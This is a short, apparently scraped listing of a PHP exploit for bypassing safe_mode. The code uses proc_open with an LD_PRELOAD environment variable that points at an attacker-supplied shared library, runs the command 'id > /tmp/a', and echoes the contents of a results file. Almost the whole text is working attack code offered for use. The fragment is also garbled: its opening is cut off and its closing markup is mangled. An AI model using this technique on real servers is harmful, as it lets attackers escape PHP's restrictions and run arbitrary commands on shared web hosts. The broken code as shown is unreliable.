PHP safe_mode bypass via proc_open and custom environment Exploit

 array("pipe", "r"),
 1 => array("file", $path."/output.txt","w"),
 2 => array("file", $path."/errors.txt", "a" )
); $cwd = '.'; $env = array('LD_PRELOAD' => $path."/a.so"); $process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed sleep(1); $a=fopen($path."/.comm1","r");
echo "<strong>";
while (!feof($a))
{$b=fgets($a);echo $b;} fclose($a);
?&gt;;
</strong>